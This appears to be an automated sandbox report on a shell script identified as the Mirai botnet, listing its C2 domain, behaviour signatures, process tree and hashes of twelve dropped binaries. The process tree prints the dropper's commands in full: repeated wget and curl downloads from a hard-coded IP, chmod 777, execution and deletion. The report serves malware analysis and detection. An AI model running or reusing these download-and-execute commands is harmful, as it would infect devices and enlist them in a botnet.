Analysis

  • max time kernel
    139s
  • max time network
    143s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    16/09/2026, 03:53

General

  • Target
    ok.sh
  • Size 1KB
  • Sample260916-efqlnsfl5v
  • SHA256 367206fbf4b5afc8d3ec80542014a2b40b0888cbd37d065d3fab42fa165e8772
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • realsus.net

Extracted

Family
  • mirai

C2
  • realsus.net

Extracted

Family
  • mirai

C2
  • realsus.net

Extracted

Family
  • mirai

C2
  • realsus.net

Extracted

Family
  • mirai

C2
  • realsus.net

Extracted

Family
  • mirai

C2
  • realsus.net

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 45 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ok.sh
    /tmp/ok.sh
    1⤵
    • Executes dropped EXE
    PID:646
    • /usr/bin/wget
      wget http://5.182.210.174/b1cb0d
      2⤵
      • Writes file to tmp directory
      PID:652
    • /usr/bin/curl
      curl -O http://5.182.210.174/b1cb0d
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:672
    • /bin/chmod
      chmod 777 b1cb0d
      2⤵
      • File and Directory Permissions Modification
      PID:674
    • /tmp/b1cb0d
      ./b1cb0d bc
      2⤵
        PID:675
      • /bin/rm
        rm -rf b1cb0d
        2⤵
          PID:677
        • /bin/rm
          rm -rf b1cb0d.1
          2⤵
            PID:678
          • /usr/bin/wget
            wget http://5.182.210.174/58605f
            2⤵
            • Writes file to tmp directory
            PID:679
          • /usr/bin/curl
            curl -O http://5.182.210.174/58605f
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:680
          • /bin/chmod
            chmod 777 58605f
            2⤵
            • File and Directory Permissions Modification
            PID:681
          • /tmp/58605f
            ./58605f bc
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:682
          • /bin/rm
            rm -rf 58605f
            2⤵
              PID:684
            • /bin/rm
              rm -rf 58605f.1
              2⤵
                PID:687
              • /usr/bin/wget
                wget http://5.182.210.174/c506c7
                2⤵
                • Writes file to tmp directory
                PID:688
              • /usr/bin/curl
                curl -O http://5.182.210.174/c506c7
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:697
              • /bin/chmod
                chmod 777 c506c7
                2⤵
                • File and Directory Permissions Modification
                PID:708
              • /tmp/c506c7
                ./c506c7 bc
                2⤵
                  PID:710
                • /bin/rm
                  rm -rf c506c7
                  2⤵
                    PID:712
                  • /bin/rm
                    rm -rf c506c7.1
                    2⤵
                      PID:713
                    • /usr/bin/wget
                      wget http://5.182.210.174/aeb4f7
                      2⤵
                      • Writes file to tmp directory
                      PID:714
                    • /usr/bin/curl
                      curl -O http://5.182.210.174/aeb4f7
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:726
                    • /bin/chmod
                      chmod 777 aeb4f7
                      2⤵
                      • File and Directory Permissions Modification
                      PID:740
                    • /tmp/aeb4f7
                      ./aeb4f7 bc
                      2⤵
                        PID:741
                      • /bin/rm
                        rm -rf aeb4f7
                        2⤵
                          PID:742
                        • /bin/rm
                          rm -rf aeb4f7.1
                          2⤵
                            PID:743
                          • /usr/bin/wget
                            wget http://5.182.210.174/ef06f7
                            2⤵
                            • Writes file to tmp directory
                            PID:745
                          • /usr/bin/curl
                            curl -O http://5.182.210.174/ef06f7
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:746
                          • /bin/chmod
                            chmod 777 ef06f7
                            2⤵
                            • File and Directory Permissions Modification
                            PID:747
                          • /tmp/ef06f7
                            ./ef06f7 bc
                            2⤵
                            • Modifies Watchdog functionality
                            • Enumerates active TCP sockets
                            • Changes its process name
                            • Reads system network configuration
                            • Reads runtime system information
                            PID:748
                          • /bin/rm
                            rm -rf ef06f7
                            2⤵
                              PID:750
                            • /bin/rm
                              rm -rf ef06f7.1
                              2⤵
                                PID:753
                              • /usr/bin/wget
                                wget http://5.182.210.174/2b9c01
                                2⤵
                                • Writes file to tmp directory
                                PID:754
                              • /usr/bin/curl
                                curl -O http://5.182.210.174/2b9c01
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:755
                              • /bin/chmod
                                chmod 777 2b9c01
                                2⤵
                                • File and Directory Permissions Modification
                                PID:763
                              • /tmp/2b9c01
                                ./2b9c01 bc
                                2⤵
                                  PID:764
                                • /bin/rm
                                  rm -rf 2b9c01
                                  2⤵
                                    PID:767
                                  • /bin/rm
                                    rm -rf 2b9c01.1
                                    2⤵
                                      PID:768
                                    • /usr/bin/wget
                                      wget http://5.182.210.174/492427
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:770
                                    • /usr/bin/curl
                                      curl -O http://5.182.210.174/492427
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:782
                                    • /bin/chmod
                                      chmod 777 492427
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:793
                                    • /tmp/492427
                                      ./492427 bc
                                      2⤵
                                        PID:794
                                      • /bin/rm
                                        rm -rf 492427
                                        2⤵
                                          PID:796
                                        • /bin/rm
                                          rm -rf 492427.1
                                          2⤵
                                            PID:797
                                          • /usr/bin/wget
                                            wget http://5.182.210.174/05711f
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:798
                                          • /usr/bin/curl
                                            curl -O http://5.182.210.174/05711f
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:799
                                          • /bin/chmod
                                            chmod 777 05711f
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:800
                                          • /tmp/05711f
                                            ./05711f bc
                                            2⤵
                                              PID:801
                                            • /bin/rm
                                              rm -rf 05711f
                                              2⤵
                                                PID:803
                                              • /bin/rm
                                                rm -rf 05711f.1
                                                2⤵
                                                  PID:804
                                                • /usr/bin/wget
                                                  wget http://5.182.210.174/9e857a
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:805
                                                • /usr/bin/curl
                                                  curl -O http://5.182.210.174/9e857a
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:806
                                                • /bin/chmod
                                                  chmod 777 9e857a
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:807
                                                • /tmp/9e857a
                                                  ./9e857a bc
                                                  2⤵
                                                    PID:808
                                                  • /bin/rm
                                                    rm -rf 9e857a
                                                    2⤵
                                                      PID:810
                                                    • /bin/rm
                                                      rm -rf 9e857a.1
                                                      2⤵
                                                        PID:811
                                                      • /usr/bin/wget
                                                        wget http://5.182.210.174/aee932
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:812
                                                      • /usr/bin/curl
                                                        curl -O http://5.182.210.174/aee932
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:813
                                                      • /bin/chmod
                                                        chmod 777 aee932
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:814
                                                      • /tmp/aee932
                                                        ./aee932 bc
                                                        2⤵
                                                          PID:815
                                                        • /bin/rm
                                                          rm -rf aee932
                                                          2⤵
                                                            PID:817
                                                          • /bin/rm
                                                            rm -rf aee932.1
                                                            2⤵
                                                              PID:818
                                                            • /usr/bin/wget
                                                              wget http://5.182.210.174/920b5b
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:819
                                                            • /usr/bin/curl
                                                              curl -O http://5.182.210.174/920b5b
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:820
                                                            • /bin/chmod
                                                              chmod 777 920b5b
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:821
                                                            • /tmp/920b5b
                                                              ./920b5b bc
                                                              2⤵
                                                                PID:822
                                                              • /bin/rm
                                                                rm -rf 920b5b
                                                                2⤵
                                                                  PID:824
                                                                • /bin/rm
                                                                  rm -rf 920b5b.1
                                                                  2⤵
                                                                    PID:825
                                                                  • /usr/bin/wget
                                                                    wget http://5.182.210.174/50055f
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:826
                                                                  • /usr/bin/curl
                                                                    curl -O http://5.182.210.174/50055f
                                                                    2⤵
                                                                    • Checks CPU configuration
                                                                    • Reads runtime system information
                                                                    • Writes file to tmp directory
                                                                    PID:827
                                                                  • /bin/chmod
                                                                    chmod 777 50055f
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:829
                                                                  • /tmp/50055f
                                                                    ./50055f bc
                                                                    2⤵
                                                                      PID:830
                                                                    • /bin/rm
                                                                      rm -rf 50055f
                                                                      2⤵
                                                                        PID:833
                                                                      • /bin/rm
                                                                        rm -rf 50055f.1
                                                                        2⤵
                                                                          PID:834

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            05711f

                                                                            • Path /tmp/05711f
                                                                            • Size 50KB
                                                                            • SHA256 52e38732d915f1c4238dc79f0ae3aa500701b641088e16d0ec50eae5448cbcf2
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            2b9c01

                                                                            • Path /tmp/2b9c01
                                                                            • Size 48KB
                                                                            • SHA256 ecf7176fce9872d7976bd87f5365f1d459c31f34b841bc1d7f73fcef663f3000
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            492427

                                                                            • Path /tmp/492427
                                                                            • Size 67KB
                                                                            • SHA256 399141a027c570fd9eda40d3038f8cdbee0f19d3999c7c6c8f98b02904ce70a8
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            50055f

                                                                            • Path /tmp/50055f
                                                                            • Size 45KB
                                                                            • SHA256 2a3923d16b7bf24545568ecf1816e9fc7068133c86713f515a4d90c2a1786475
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            58605f

                                                                            • Path /tmp/58605f
                                                                            • Size 121KB
                                                                            • SHA256 34d2498fab47077b6358999d52e0ccc515aa6ec97d5f850a3aa3257cbe6b8f85
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            920b5b

                                                                            • Path /tmp/920b5b
                                                                            • Size 53KB
                                                                            • SHA256 39e2f0e4519cc0e64162d68bbbfec3d31f65c177ba343982fe613a1b514ffa58
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            9e857a

                                                                            • Path /tmp/9e857a
                                                                            • Size 65KB
                                                                            • SHA256 1be1ba2fc204048d5308ad8dd086e38b495a206b0635d6016d10527fb58a66bc
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            aeb4f7

                                                                            • Path /tmp/aeb4f7
                                                                            • Size 61KB
                                                                            • SHA256 2fb92f094039aeae03a6674ad664234ef107c3a05acdbd6eefe8dd7f9a55800d
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            aee932

                                                                            • Path /tmp/aee932
                                                                            • Size 45KB
                                                                            • SHA256 138647b86972130430d6dc46f211a1a94494f2521ef1ed1cd89218018226352f
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            b1cb0d

                                                                            • Path /tmp/b1cb0d
                                                                            • Size 49KB
                                                                            • SHA256 f984b3d71cf0fea175d181b02d67467dd3da54a88f8bdcb11a3cf9f4bdcb02dc
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            c506c7

                                                                            • Path /tmp/c506c7
                                                                            • Size 44KB
                                                                            • SHA256 aab911ccf927e4d21ae39c786feed9d2f14da0c028678d68405ab29d779be919
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            ef06f7

                                                                            • Path /tmp/ef06f7
                                                                            • Size 52KB
                                                                            • SHA256 2d8e736c1cd7b768ca97b0ae11a9a29bdf3dc747bf39edfb40cee99eadedf4d4
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH